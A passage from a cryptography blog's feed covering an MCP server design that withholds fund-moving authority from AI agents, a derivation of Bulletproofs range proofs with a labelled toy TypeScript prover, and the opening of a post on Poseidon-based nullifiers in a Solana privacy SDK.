<li><p><strong><code>derive_nullifier(note_secret, commitment)</code></strong> — returns the deterministic, single-use nullifier for a previously-committed note. As discussed in <a href="/blog/nullifiers_without_witchcraft/">Nullifiers without the witchcraft</a>, this is the hash that proves a note has been spent without revealing which one. Agents call this during proof generation.</p>
</li>
<li><p><strong><code>build_spend_proof(note, recipient, amount)</code></strong> — runs the full Groth16 prover for the canonical spend circuit and returns the proof bytes. <strong>This is the only tool that touches the prover.</strong> Doing this in-process via MCP is much better than asking an agent to shell out to a Rust binary; the agent gets a typed, schema-described return value with proof bytes and a public-input vector.</p>
</li>
<li><p><strong><code>get_pool_state()</code></strong> — read-only resource. Returns the current root hash of the commitment Merkle tree and the count of unspent notes. Agents that want to check whether their proof is still valid against the latest pool state poll this. It is a <em>resource</em>, not a tool, in MCP terms — the difference matters for caching and for explaining to the agent that the call is side-effect-free.</p>
</li>
</ol>
<p>That is the entire surface. Four tools. No <code>transfer</code>, no <code>withdraw</code>, no <code>set_owner</code>. <strong>An agent can compose payments, prove them, and inspect pool state. It cannot move funds without a human signing the resulting transaction.</strong> That asymmetry is deliberate and I will defend it for as long as MCP exists.</p>
<h2>The asymmetry rule</h2>
<p>Every time I add a tool to <code>zera-mcp</code>, I run it through a single test:</p>
<blockquote>
<p><em>If the agent is compromised — adversarial prompts, model jailbreak, supply-chain payload in the tool-calling library — what is the worst it can do?</em></p>
</blockquote>
<p>If the answer is &quot;compute a commitment that the human can audit,&quot; fine. If the answer is &quot;move funds,&quot; not fine. The line is <strong>whether the tool has unilateral authority to change pool state.</strong> The current SDK MCP draws that line at proof construction. The proof itself is just a bunch of bytes; submitting it to the chain still requires a transaction signed by a wallet that the agent does not have direct authority over.</p>
<p>This is the same threat model I argued for in the <a href="/blog/x402_honeypot_disclosure/">x402 honeypot disclosure post</a> and in <a href="/blog/rusty_pipes/">Rusty Pipes</a> before that. You assume the agent is compromised. You design the surface so a compromised agent cannot drain the pool. Everything else is detail.</p>
<h2>What it looks like when an agent uses it</h2>
<p>Concretely, here is the flow when a user asks Claude (or ChatGPT, or any MCP-enabled client) to <em>&quot;send $50 of USDC to alice.sol from my shielded balance, but show me the commitment first&quot;:</em></p>
<ol>
<li>The agent calls <code>get_pool_state()</code> to fetch the current Merkle root.</li>
<li>The agent picks an unspent note from the user&#39;s local wallet that is <code>≥ $50</code>.</li>
<li>The agent calls <code>compute_commitment(USDC, $50, fresh_randomness)</code> to construct the visible commitment.</li>
<li>The agent surfaces the commitment to the human in a message that says, in effect, <em>&quot;here is the commitment for the $50 send to alice.sol; proceed?&quot;</em></li>
<li>The human approves.</li>
<li>The agent calls <code>derive_nullifier(...)</code> and <code>build_spend_proof(...)</code> and gets back the spend witness.</li>
<li>The agent hands the proof to the <em>wallet</em> — not to the chain — and the wallet signs and submits the transaction. The wallet has policy: it will not co-sign a proof whose public inputs have not been displayed to the human in step 4.</li>
</ol>
<p>Step 7 is where the privilege boundary lives. The MCP tools never touch a private key. They never broadcast a transaction. They are pure compute against pool state.</p>
<h2>Why this generalises</h2>
<p>I have argued for this pattern in three places now: the SDK&#39;s MCP server, the blog&#39;s MCP server, and the <a href="/blog/why_i_started_zera_labs/">proposed <code>lib.skill-issue.dev</code></a> personal MCP that exposes my writing as queryable resources. The pattern is the same in all three:</p>
<blockquote>
<p><strong>Expose typed read + compute primitives. Do not expose state-changing authority. Push every authority decision back through the human or through a wallet that has its own policy.</strong></p>
</blockquote>
<p>If we are entering a decade where AI agents are going to be calling cryptographic primitives, this is the boundary that needs to hold. The cryptography is finally ready, the protocols are finally ready, and the <em>interface design</em> is the part that is still up for grabs. I would rather we set the precedent now than discover the right shape after the first six-figure agent-driven drain.</p>
<h2>What I changed my mind about</h2>
<p>When I first started writing <code>zera-mcp</code> I assumed I would expose the prover as a <em>resource</em> (cacheable, repeatable) rather than a <em>tool</em> (potentially side-effecting). The ZK community talks about provers as deterministic functions — given the same witness, you get the same proof — so it felt natural to treat them like a read.</p>
<p>I changed my mind after watching an agent hammer the prover during testing. <strong>The prover is computationally side-effecting even if it is mathematically pure.</strong> Eight seconds of CPU per call adds up fast when an agent is in a loop. Resources in MCP are aggressively cached by clients; tools are not. By moving the prover behind a tool I forced the client to think about whether to call it again. Worth it.</p>
<h2>Further reading</h2>
<ul>
<li><a href="https://github.com/Dax911/zera-sdk">zera-sdk on GitHub</a> — the actual code</li>
<li><a href="/blog/zera_sdk_scaffolding/">Building the Zera SDK: Day One</a> — origin</li>
<li><a href="/blog/nullifiers_without_witchcraft/">Nullifiers without the witchcraft</a></li>
<li><a href="/blog/pedersen_commitments_in_production/">Pedersen commitments, in production</a></li>
<li><a href="/blog/privacys_broadband_moment/">Privacy&#39;s broadband moment</a></li>
<li><a href="https://modelcontextprotocol.io/specification">Model Context Protocol specification</a> (Anthropic, current draft)</li>
<li>The MCP working-group meeting notes are on the spec repo and worth a quarterly skim</li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Range proofs in 80 lines: Pedersen commitments and a tiny Bulletproof]]></title>
  <id>https://blog.skill-issue.dev/blog/range_proofs_in_80_lines/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/range_proofs_in_80_lines/"/>
  <published>2026-04-08T16:00:00.000Z</published>
  <updated>2026-04-08T16:00:00.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="cryptography"/>
  <category term="bulletproofs"/>
  <category term="pedersen"/>
  <category term="range-proof"/>
  <category term="zk"/>
  <category term="phd"/>
  <category term="math"/>
  <summary type="html"><![CDATA[How a Bulletproof actually compresses a range proof to logarithmic size. Derive the inner-product argument from scratch, run a toy prover/verifier in the browser, and pick the right range-proof primitive for 2026.]]></summary>
  <content type="html"><![CDATA[<p>import { Mermaid, Sandbox, TradeoffTable, Aside, Quote, RustPlayground } from &quot;@/components/mdx&quot;;</p>
<p>A confidential transaction has to prove one annoying little thing: that the hidden amount is non-negative and bounded. Without that, an attacker can mint coins out of thin air by committing to a &quot;negative balance&quot; that wraps around the field. The cryptographic primitive that does the proving is the <strong>range proof</strong>, and the question of which range proof to ship in 2026 is — surprisingly — still live.</p>
<p>This post does three things:</p>
<ol>
<li>Derives the inner-product argument that makes Bulletproofs short.</li>
<li>Walks an 80-line, runnable toy Bulletproof prover/verifier in the browser.</li>
<li>Maps the trade-offs between Bulletproofs, classical range proofs, and SNARK-based range proofs onto the deployment surface I keep hitting in <a href="/blog/zera_sdk_scaffolding/">zera-sdk</a>.</li>
</ol>
<p>It&#39;s a sibling piece to <a href="/blog/pedersen_commitments_in_production/">Pedersen commitments, in production</a>. Read that one first if &quot;Pedersen&quot; still feels like a textbook word to you. This one assumes you know what <code>C = a·G + b·H</code> is and want to know what to do with it.</p>
<Aside kind="note">
Working post in the [PhD-by-publication track](/about). The math is double-checked. The toy code runs but is **not** constant-time and **not** suitable for any deployment — see the warning further down.
</Aside>

<h2>What a range proof has to do</h2>
<p>The setup. A prover holds a value $v$ and a blinding factor $\gamma$, and publishes a Pedersen commitment</p>
<p>$$
V = v \cdot G + \gamma \cdot H
$$</p>
<p>with $G, H$ independent generators of an elliptic-curve group of prime order $q$. The hiding property of $V$ comes from $\gamma$ being uniformly random; the binding property comes from $G$ and $H$ being independent (no known $\beta$ with $H = \beta G$).</p>
<p>The prover then wants to convince a verifier that $v$ lies in some range, typically $[0, 2^n)$ for $n = 32$ or $n = 64$. Crucially, $v$ stays hidden. The verifier learns <em>only</em> the fact that the committed value is in range.</p>
<p>The naive proof of &quot;$v \in [0, 2^n)$&quot; is to commit bit-by-bit: write $v = \sum_{i=0}^{n-1} a_i \cdot 2^i$ with $a_i \in {0,1}$, commit to each $a_i$, and prove each $a_i (a_i - 1) = 0$. That works. It takes $O(n)$ commitments and $O(n)$ proof size, which is what Confidential Transactions in Bitcoin shipped in 2015 and which is roughly <strong>2.5 KB per transaction</strong> at $n = 64$.</p>
<p><a href="https://eprint.iacr.org/2017/1066">Bünz, Bootle, Boneh, Poelstra, Wuille, and Maxwell (2018)</a> — the Bulletproofs paper — got that down to about <strong>672 bytes</strong>, with no trusted setup, by replacing the linear blob with a logarithmic-size inner-product argument. The compression ratio is roughly 4× over the naive bit-commitment scheme, and it gets better as the range grows.</p>
<h2>The inner-product argument, derived</h2>
<p>The whole game in Bulletproofs is the inner-product argument (IPA). Forget range proofs for a paragraph. The IPA proves the following:</p>
<p><strong>Statement.</strong> Given commitments $P \in \mathbb{G}$ and $\mathbf{G}, \mathbf{H} \in \mathbb{G}^n$, plus a scalar $c \in \mathbb{F}_q$, the prover knows vectors $\mathbf{a}, \mathbf{b} \in \mathbb{F}_q^n$ such that</p>
<p>$$
P = \langle \mathbf{a}, \mathbf{G} \rangle + \langle \mathbf{b}, \mathbf{H} \rangle \quad \text{and} \quad \langle \mathbf{a}, \mathbf{b} \rangle = c.
$$</p>
<p>The naive proof is to send $\mathbf{a}$ and $\mathbf{b}$ — that&#39;s $2n$ scalars. The IPA gets it to $2 \log_2 n$ group elements plus two scalars.</p>
<p>The trick is recursion. Split each vector in half: $\mathbf{a} = (\mathbf{a}_L ,|, \mathbf{a}_R)$, same for $\mathbf{b}, \mathbf{G}, \mathbf{H}$. The prover sends two cross-terms:</p>
<p>$$
L = \langle \mathbf{a}_L, \mathbf{G}_R \rangle + \langle \mathbf{b}_R, \mathbf{H}_L \rangle, \quad R = \langle \mathbf{a}_R, \mathbf{G}_L \rangle + \langle \mathbf{b}_L, \mathbf{H}_R \rangle.
$$</p>
<p>The verifier responds with a random challenge $x \in \mathbb{F}_q^*$. Both parties then compute folded vectors of half the length:</p>
<p>$$
\mathbf{a}&#39; = x \cdot \mathbf{a}_L + x^{-1} \cdot \mathbf{a}_R, \quad \mathbf{b}&#39; = x^{-1} \cdot \mathbf{b}_L + x \cdot \mathbf{b}_R,
$$</p>
<p>and the verifier folds the generators in the dual direction:</p>
<p>$$
\mathbf{G}&#39; = x^{-1} \cdot \mathbf{G}_L + x \cdot \mathbf{G}_R, \quad \mathbf{H}&#39; = x \cdot \mathbf{H}_L + x^{-1} \cdot \mathbf{H}_R.
$$</p>
<p>The new commitment is</p>
<p>$$
P&#39; = x^2 \cdot L + P + x^{-2} \cdot R,
$$</p>
<p>and you can check by direct expansion that $P&#39; = \langle \mathbf{a}&#39;, \mathbf{G}&#39; \rangle + \langle \mathbf{b}&#39;, \mathbf{H}&#39; \rangle$ exactly when the original $P$ relation held. Recurse on $(\mathbf{a}&#39;, \mathbf{b}&#39;, \mathbf{G}&#39;, \mathbf{H}&#39;, P&#39;)$. After $\log_2 n$ rounds, the vectors are length 1 and the prover just sends the two remaining scalars.</p>
<p>That&#39;s the entire IPA in seven lines of math. Total proof size: $2 \log_2 n$ group elements (the $L_i$ and $R_i$ from each round) + 2 final scalars. At $n = 64$, that&#39;s 12 group elements + 2 scalars ≈ 416 bytes.</p>
<p>&lt;Mermaid chart={<code>flowchart LR   A[a, b length n] --&gt; S1[split into halves]   S1 --&gt; X1[prover sends L_1, R_1]   X1 --&gt; C1[verifier sends challenge x_1]   C1 --&gt; F1[fold to length n/2]   F1 --&gt; R{length 1?}   R --&gt;|no| S1   R --&gt;|yes| F[send final a, b]   F --&gt; V[verifier checks single point]</code>}/&gt;</p>
<h2>From IPA to range proof in two reductions</h2>
<p>The range proof reduces to the IPA in two steps.</p>
<p><strong>Step 1: bit decomposition as a vector identity.</strong> Write $v = \langle \mathbf{a}_L, 2^{\mathbf{n}} \rangle$ where $\mathbf{a}_L \in {0,1}^n$ is the bit decomposition and $2^{\mathbf{n}} = (1, 2, 4, \dots, 2^{n-1})$. Define $\mathbf{a}_R = \mathbf{a}<em>L - \mathbf{1}^n$ (so each $a</em>{R,i} \in {0, -1}$). The conjunction &quot;$v \in [0, 2^n)$&quot; becomes the vector identities</p>
<p>$$
\mathbf{a}_L \circ \mathbf{a}_R = \mathbf{0}^n, \quad \mathbf{a}_L - \mathbf{a}_R = \mathbf{1}^n, \quad \langle \mathbf{a}_L, 2^{\mathbf{n}} \rangle = v.
$$</p>
<p>The first identity (Hadamard product is zero) is exactly the bit constraint $a_i (a_i - 1) = 0$ rewritten.</p>
<p><strong>Step 2: collapse three vector identities to one inner product.</strong> The verifier samples challenges $y, z$. The prover constructs polynomials</p>
<p>$$
\mathbf{l}(X) = (\mathbf{a}_L - z \cdot \mathbf{1}^n) + \mathbf{s}_L \cdot X,
$$
$$
\mathbf{r}(X) = \mathbf{y}^n \circ (\mathbf{a}_R + z \cdot \mathbf{1}^n + \mathbf{s}_R \cdot X) + z^2 \cdot 2^{\mathbf{n}},
$$</p>
<p>with $\mathbf{s}_L, \mathbf{s}_R$ random blinding vectors. The inner product $t(X) = \langle \mathbf{l}(X), \mathbf{r}(X) \rangle$ is a quadratic in $X$, and the constant term $t_0$ collapses to</p>
<p>$$
t_0 = z^2 \cdot v + \delta(y, z), \quad \delta(y, z) = (z - z^2) \langle \mathbf{1}^n, \mathbf{y}^n \rangle - z^3 \langle \mathbf{1}^n, 2^{\mathbf{n}} \rangle.
$$</p>
<p>The verifier knows $\delta(y, z)$ (it&#39;s all public scalars) and knows $V$ (the commitment to $v$), so it can check the $t_0$ equation against $V$. The prover then runs the IPA on $\mathbf{l}(x)$ and $\mathbf{r}(x)$ for a fresh challenge $x$, and <em>that</em> is what gets compressed to $\log_2 n$.</p>
<p>The whole construction is one Pedersen commitment, two challenges, two polynomial-coefficient commitments, and an IPA. It fits in a paragraph and runs in a browser.</p>
<h2>The 80-line toy</h2>
<p>This is a runnable Bulletproof-style range proof for $n = 4$ (so $v \in [0, 16)$). It is intentionally small. It uses scalar arithmetic in a tiny prime field instead of an elliptic-curve group, which means it demonstrates the <em>protocol shape</em> but provides zero cryptographic security. Read it for the algebra, not the hardness.</p>
<p>&lt;Sandbox
  template=&quot;vanilla-ts&quot;
  files={{
    &quot;/index.ts&quot;: `// Toy Bulletproof-shaped range proof for v in [0, 16).
// Uses a tiny prime field (q=2^61-1) to make the algebra readable.
// NOT a cryptosystem. NOT constant-time. Read it for the SHAPE.
//
// Reference: Bunz, Bootle, Boneh, Poelstra, Wuille, Maxwell (2018)
// <a href="https://eprint.iacr.org/2017/1066">https://eprint.iacr.org/2017/1066</a></p>
<p>const Q = (1n &lt;&lt; 61n) - 1n; // Mersenne prime, fits in BigInt comfortably.
const N = 4;                // bit-length of the range</p>
<p>const mod = (x: bigint) =&gt; ((x % Q) + Q) % Q;
const add = (a: bigint, b: bigint) =&gt; mod(a + b);
const sub = (a: bigint, b: bigint) =&gt; mod(a - b);
const mul = (a: bigint, b: bigint) =&gt; mod(a * b);
function inv(a: bigint): bigint {
  // Fermat: a^(Q-2) mod Q
  let r = 1n, base = mod(a), e = Q - 2n;
  while (e &gt; 0n) {
    if (e &amp; 1n) r = mul(r, base);
    base = mul(base, base);
    e &gt;&gt;= 1n;
  }
  return r;
}
const dot = (a: bigint[], b: bigint[]) =&gt;
  a.reduce((s, ai, i) =&gt; add(s, mul(ai, b[i])), 0n);
const had = (a: bigint[], b: bigint[]) =&gt; a.map((ai, i) =&gt; mul(ai, b[i]));</p>
<p>// Fiat-Shamir: deterministic challenge from a transcript.
async function challenge(transcript: string): Promise<bigint> {
  const buf = new TextEncoder().encode(transcript);
  const h = await crypto.subtle.digest(&quot;SHA-256&quot;, buf);
  let x = 0n;
  for (const b of new Uint8Array(h)) x = (x &lt;&lt; 8n) | BigInt(b);
  return mod(x) || 1n; // never zero
}</p>
<p>// PROVER -----------------------------------------------------------
async function prove(v: bigint) {
  if (v &lt; 0n || v &gt;= 1n &lt;&lt; BigInt(N)) throw new Error(&quot;out of range&quot;);
  // Bit decomposition.
  const aL = Array.from({ length: N }, (<em>, i) =&gt; (v &gt;&gt; BigInt(i)) &amp; 1n);
  const aR = aL.map((b) =&gt; sub(b, 1n));
  const ones = new Array(N).fill(1n);
  const twos = Array.from({ length: N }, (</em>, i) =&gt; 1n &lt;&lt; BigInt(i));</p>
<p>  // Sanity: aL . 2^n == v, aL o aR == 0, aL - aR == 1
  console.log(&quot;aL . 2^n =&quot;, dot(aL, twos), &quot; (should be&quot;, v, &quot;)&quot;);
  console.log(&quot;aL o aR  =&quot;, had(aL, aR), &quot; (should be all 0)&quot;);</p>
<p>  // Verifier challenges (Fiat-Shamir over the public commitment v).
  const y = await challenge(`y|${v}`);
  const z = await challenge(`z|${v}|${y}`);</p>
<p>  // y-vector
  const yN = Array.from({ length: N }, (_, i) =&gt; {
    let r = 1n; for (let k = 0; k &lt; i; k++) r = mul(r, y); return r;
  });</p>
<p>  // l(x), r(x) at x=1 (one round of IPA — toy)
  const lVec = aL.map((a, i) =&gt; sub(a, z));
  const rVec = had(yN, aR.map((a) =&gt; add(a, z)))
    .map((v, i) =&gt; add(v, mul(mul(z, z), twos[i])));</p>
<p>  // Inner product t = &lt;l, r&gt;
  const t = dot(lVec, rVec);</p>
<p>  // delta(y,z) = (z - z^2) &lt;1, y^n&gt; - z^3 &lt;1, 2^n&gt;
  const z2 = mul(z, z), z3 = mul(z2, z);
  const sum1y = dot(ones, yN), sum1_2n = dot(ones, twos);
  const delta = sub(mul(sub(z, z2), sum1y), mul(z3, sum1_2n));</p>
<p>  // The relation: t == z^2 * v + delta(y,z)
  const expected = add(mul(z2, v), delta);
  return { t, expected, lVec, rVec, y, z };
}</p>
<p>// VERIFIER ---------------------------------------------------------
function verify(p: Awaited&lt;ReturnType<typeof prove>&gt;) {
  const ok1 = p.t === p.expected;
  const ok2 = dot(p.lVec, p.rVec) === p.t;
  return { ok1, ok2, ok: ok1 &amp;&amp; ok2 };
}</p>
<p>// IPA fold (one round, demonstrating the recursion pattern) -------
function ipaFoldOnce(a: bigint[], b: bigint[], x: bigint) {
  const half = a.length / 2;
  const xi = inv(x);
  const aP = a.slice(0, half).map((v, i) =&gt; add(mul(x, v), mul(xi, a[half+i])));
  const bP = b.slice(0, half).map((v, i) =&gt; add(mul(xi, v), mul(x, b[half+i])));
  // The cross terms L, R have the same inner product as the original.
  return { aP, bP };
}</p>
<p>// DEMO -------------------------------------------------------------
(async () =&gt; {
  const out = document.getElementById(&quot;out&quot;)!;
  const lines: string[] = [];</p>
<p>  for (const v of [0n, 7n, 15n]) {
    const p = await prove(v);
    const r = verify(p);
    lines.push(`v=${v.toString().padStart(2)}  t=\${p.t.toString().slice(0,18)}...  ok=${r.ok}`);
  }</p>
<p>  // One-shot IPA fold to demonstrate the recursion shrinks the vectors.
  const a = [3n, 5n, 7n, 11n], b = [2n, 4n, 6n, 8n];
  const x = await challenge(&quot;ipa|demo&quot;);
  const folded = ipaFoldOnce(a, b, x);
  lines.push(&quot;&quot;);
  lines.push(`ipa fold: a length ${a.length} -&gt; ${folded.aP.length}`);
  lines.push(`           b length ${b.length} -&gt; ${folded.bP.length}`);</p>
<p>  // Out-of-range case should fail (negative -&gt; wraps if we let it).
  try {
    await prove(-1n);
    lines.push(&quot;ERROR: prover accepted v=-1&quot;);
  } catch (e) {
    lines.push(`prover rejected v=-1: ${(e as Error).message}`);
  }</p>
<p>  out.textContent = lines.join(&quot;\n&quot;);
})();
<code>,     &quot;/index.html&quot;: </code><!DOCTYPE html></p>
<html>
  <body>
    <pre id="out" style="font-family: 'Geist Mono', ui-monospace, monospace; padding: 1rem; background: #0a0a0a; color: #4ade80; line-height: 1.6;">running...</pre>
    <script type="module" src="/index.ts"></script>
  </body>
</html>`,
  }}
/>

<p>The shape is the thing. A real Bulletproof replaces my BigInt scalars with elliptic-curve points (typically Ristretto or BN254 G1), runs the IPA recursively to length 1 instead of just one fold, and uses Fiat-Shamir over a transcript that includes every public group element. The protocol stays under 700 bytes for $n = 64$, and the verifier cost stays at $O(n)$ multiplications (the prover dominates at $O(n \log n)$).</p>
<h2>Choosing a range proof in 2026</h2>
<p>The trade-off space has settled enough to write down honestly.</p>
<p>&lt;TradeoffTable
  rows={[
    {
      option: &quot;Naive bit-commitment range proof&quot;,
      cost: &quot;<del>2.5 KB at n=64&quot;,
      latency: &quot;Prover ~100ms, verifier ~10ms&quot;,
      blast_radius: &quot;Low risk; well understood since 2015&quot;,
      notes: &quot;Confidential Transactions shipped this. Big proofs, but trivial to audit.&quot;
    },
    {
      option: &quot;Bulletproofs (Bunz et al. 2018)&quot;,
      cost: &quot;</del>672 bytes at n=64; logarithmic in n&quot;,
      latency: &quot;Prover <del>500ms, verifier ~20ms (linear)&quot;,
      blast_radius: &quot;Battle-tested in Monero, dalek-cryptography&quot;,
      notes: &quot;No trusted setup. Best choice when you have one or a few range checks per tx.&quot;
    },
    {
      option: &quot;Bulletproofs+ (Chung-Han-Hwang-Kim-Lee 2020)&quot;,
      cost: &quot;</del>576 bytes at n=64&quot;,
      latency: &quot;Prover <del>10% faster than BP; verifier ~25% faster&quot;,
      blast_radius: &quot;Less deployment than original BP&quot;,
      notes: &quot;Drop-in if you control both ends. Worth it for a fresh deployment.&quot;
    },
    {
      option: &quot;SNARK-embedded range proof (Groth16 / PLONK)&quot;,
      cost: &quot;</del>200-300 bytes; constant&quot;,
      latency: &quot;Verifier <del>3-5ms (constant); prover dominates&quot;,
      blast_radius: &quot;Inherits the SNARK&#39;s trusted setup story&quot;,
      notes: &quot;Right answer when you&#39;re already paying for a SNARK. zera-sdk does this.&quot;
    },
    {
      option: &quot;STARK-embedded range proof&quot;,
      cost: &quot;</del>50-200 KB; logarithmic&quot;,
      latency: &quot;Prover slow, verifier fast&quot;,
      blast_radius: &quot;Post-quantum, transparent setup&quot;,
      notes: &quot;Big proofs are the cost. Worth it for batched provers (rollups, not transfers).&quot;
    },
  ]}
/&gt;</p>
<p>The pattern: if you&#39;re already running a SNARK for the privacy proof, embed the range check inside it and pay nothing extra. If you don&#39;t have a SNARK and you want short proofs without a trusted setup, Bulletproofs are the right answer. The naive bit-commitment scheme is what you ship when you don&#39;t trust the cryptanalysis of either and you&#39;re willing to pay 2.5 KB per transaction. STARKs are aspirational for transfers and the right tool for rollups.</p>
<p>In <a href="/blog/zera_sdk_scaffolding/">zera-sdk</a>, the range check on <code>amount</code> is a 64-bit decomposition inside the Groth16 transfer circuit. Cost: 64 R1CS constraints (one per bit), zero additional bytes on chain. The Bulletproof would have been 672 bytes per spend, which on Solana at 5,000 lamports per byte adds up faster than the constraint cost in the prover.</p>
<Aside kind="warn">
The toy code above is **not** constant-time. In production, scalar arithmetic over a 256-bit field has to use Montgomery form, fixed-window multiplication, and care about branch predictability — otherwise side-channel timing attacks recover the witness. The dalek-cryptography Bulletproofs implementation does this properly. Mine does not. Treat the toy as pedagogy, never as a primitive.
</Aside>

<h2>What I&#39;d reach for, and when</h2>
<p>The framing I keep coming back to: range proofs are a <strong>feature</strong> of a privacy system, not a product. The product is the privacy pool. The range proof exists because, without it, the pool is exploitable. Pick the one that disappears most quietly into the rest of your system.</p>
<p>For <a href="/blog/pedersen_commitments_in_production/">the unified shielded pool</a> on Solana, the SNARK-embedded approach wins for compute units and bytes. For a chain that doesn&#39;t already have a SNARK, Bulletproofs are the line where the cryptography costs roughly the same per-byte on chain as a multisig and you stop arguing about it. For anything post-quantum, STARKs are the only answer — the discrete-log assumption everything else here leans on collapses to a quantum adversary, and the bullet has to be biting.</p>
<Quote cite="https://eprint.iacr.org/2017/1066" author="Bunz, Bootle, Boneh, Poelstra, Wuille, Maxwell">
Bulletproofs greatly improve on the linear (in the bitlength of the range) proof size of confidential transactions. They are also a drop-in replacement for the range proofs used in Monero and other confidential-transaction systems, requiring no trusted setup and relying only on the discrete-logarithm assumption.
</Quote>

<p>The 80-line toy at the top of this post is the entire algebraic core of that paper, with the elliptic curve removed. Once you see that the inner-product argument is just <em>fold the vector in half, prove a smaller statement</em>, the rest of the construction is bookkeeping.</p>
<h2>Further reading</h2>
<ul>
<li><a href="https://eprint.iacr.org/2017/1066">Bulletproofs: Short Proofs for Confidential Transactions and More</a> — Bünz, Bootle, Boneh, Poelstra, Wuille, Maxwell (IEEE S&amp;P 2018) — the original.</li>
<li><a href="https://eprint.iacr.org/2020/735">Bulletproofs+: Shorter Proofs for a Privacy-Enhanced Distributed Ledger</a> — Chung, Han, Hwang, Kim, Lee (2020) — the ~15% smaller refinement.</li>
<li><a href="https://github.com/dalek-cryptography/bulletproofs">dalek-cryptography/bulletproofs</a> — the canonical Rust implementation; constant-time, audited.</li>
<li><a href="/blog/pedersen_commitments_in_production/">Pedersen commitments, in production</a> — sister piece on what we&#39;re committing <em>to</em>.</li>
<li><a href="/blog/poseidon_by_hand_and_by_code/">Poseidon, by hand and by code</a> — sister piece on the hash function inside our circuits.</li>
<li><a href="/blog/privacys_broadband_moment/">Privacy&#39;s broadband moment</a> — why these primitives shipped together in 2026.</li>
<li><a href="https://github.com/Dax911/zera-sdk"><code>Dax911/zera-sdk</code></a> — production Rust implementation of the range-check-inside-Groth16 path.</li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Nullifiers without the witchcraft]]></title>
  <id>https://blog.skill-issue.dev/blog/nullifiers_without_witchcraft/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/nullifiers_without_witchcraft/"/>
  <published>2026-04-02T15:30:00.000Z</published>
  <updated>2026-04-02T15:30:00.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="zera"/>
  <category term="cryptography"/>
  <category term="nullifier"/>
  <category term="poseidon"/>
  <category term="zcash"/>
  <category term="zk"/>
  <category term="solana"/>
  <summary type="html"><![CDATA[Nullifier Generation is on the ZERA front page next to Pedersen Commitments and Zero-Knowledge Proofs. The Rust + TypeScript implementations are six lines apiece. Here is what they actually do, and why the design borrows from Zcash.]]></summary>
  <content type="html"><![CDATA[<p>The <a href="https://zeralabs.org">zeralabs.org</a> front page lists three &quot;Cryptographic Innovations&quot;: <strong>Pedersen Commitments</strong>, <strong>Zero-Knowledge Proofs</strong>, <strong>Nullifier Generation</strong>. I wrote about <a href="/blog/pedersen_commitments_in_production/">the first one</a> already. The second one is what makes the protocol work at all — Groth16 over BN254, the fast lane that lets ZK leave the laboratory. This post is the third.</p>
<p>Nullifier Generation sounds like a wizard&#39;s incantation. In practice, on a privacy chain, it is the most boring possible thing: a hash, with an exact and well-known input set, computed at exactly one moment in the lifecycle of a note. The reason it gets a top-line marketing slot is not because the math is exotic. It&#39;s because nullifiers are the entire reason a privacy pool can prevent double-spending without revealing which note got spent. They are the load-bearing trick. If you understand them, you understand UTXO-style ZK.</p>
<h2>What a nullifier is, in one sentence</h2>
<p>A nullifier is a hash of two things — a secret only the owner of a note knows, and the on-chain commitment of that note — published once, when the note is spent, so the chain can refuse a second spend without learning anything else about the note.</p>
<p>That sentence has every piece. The owner has a secret. The chain has a commitment. The owner spends, reveals the hash of (secret, commitment), and the chain stamps &quot;spent&quot; next to that hash. If anyone else, ever, tries to spend the same note, they will produce the same hash. The chain notices and rejects.</p>
<p>The reason this matters: in a transparent UTXO system (Bitcoin, original Solana SPL), the chain knows which UTXO got spent because it sees the input. In a shielded system, the chain doesn&#39;t know which note got spent — that&#39;s the whole point of the privacy layer — so we need a way for the chain to refuse double-spends <em>without learning the identity of the spent note</em>. Nullifiers are that way.</p>
<h2>The Zcash inheritance</h2>
<p>This is not a ZERA invention. The nullifier construction goes back to Zcash Sprout (2016) and the Sapling upgrade (2018), and the <a href="https://zips.z.cash/protocol/protocol.pdf">Zcash protocol specification</a> is still the canonical reference. In Sapling, the nullifier of a note is <code>PRF^nf(nk, ρ)</code> where <code>nk</code> is the spending key and <code>ρ</code> is a per-note nonce derived from the note&#39;s commitment. The construction has two essential properties:</p>
<ol>
<li><strong>Deterministic given the secret material.</strong> The same note always produces the same nullifier, so a second spend is detectable.</li>
<li><strong>Unlinkable without the secret material.</strong> An observer who sees the commitment cannot derive the nullifier; only the owner of the spending key can.</li>
</ol>
<p>ZERA&#39;s construction is the same idea, simplified for the deployment surface. Sapling has a richer key tree (<code>ask</code>/<code>nsk</code>/<code>nk</code>/<code>ovk</code>/<code>ivk</code>) because it ships viewing keys, expiry windows, and a separate proof-spend key. ZERA&#39;s MVP keeps the same roles inside one <code>secret</code> field per note. If the protocol grows a viewing-key abstraction (and it will — see the wallet&#39;s HKDF-derived viewing keys in <a href="/blog/zera_wallet_v3_zkp/">the v3 wallet post</a>), the nullifier construction can absorb that without breaking, because the input set is <code>Poseidon(secret, commitment)</code> and <code>secret</code> is the part that gets specialised.</p>
<h2>The six lines of TypeScript</h2>
<p>Open <a href="https://github.com/Dax911/zera-sdk/blob/main/packages/sdk/src/note.ts"><code>packages/sdk/src/note.ts</code></a> in the SDK and search for <code>computeNullifier</code>. The whole function is:</p>
<pre><code class="language-ts">/**
 * Compute the nullifier for spending a note.
 *
 * ```
 * nullifier = Poseidon(secret, commitment)
 * ```
 */
export async function computeNullifier(
  secret: bigint,
  commitment: bigint,
): Promise&lt;bigint&gt; {
  return poseidonHash([secret, commitment]);
}
</code></pre>
<p>That&#39;s it. Two field elements in, one field element out, one Poseidon call in the middle. The accompanying tests in <a href="https://github.com/Dax911/zera-sdk/blob/main/packages/sdk/src/note.test.ts"><code>note.test.ts</code></a> are equally bare:</p>
<pre><code class="language-ts">describe(&quot;computeNullifier&quot;, () =&gt; {
  it(&quot;returns a deterministic bigint&quot;, async () =&gt; {
    const note = createNote(100n, 1n);
    const commitment = await computeCommitment(note);
    const a = await computeNullifier(note.secret, commitment);
    const b = await computeNullifier(note.secret, commitment);
    expect(a).toBe(b);
  });

  it(&quot;different secrets produce different nullifiers&quot;, async () =&gt; {
    const note1 = createNote(100n, 1n);
    const note2 = createNote(100n, 1n);
    const commitment = await computeCommitment(note1);
    const n1 = await computeNullifier(note1.secret, commitment);
    const n2 = await computeNullifier(note2.secret, commitment);
    expect(n1).not.toBe(n2);
  });
});
</code></pre>
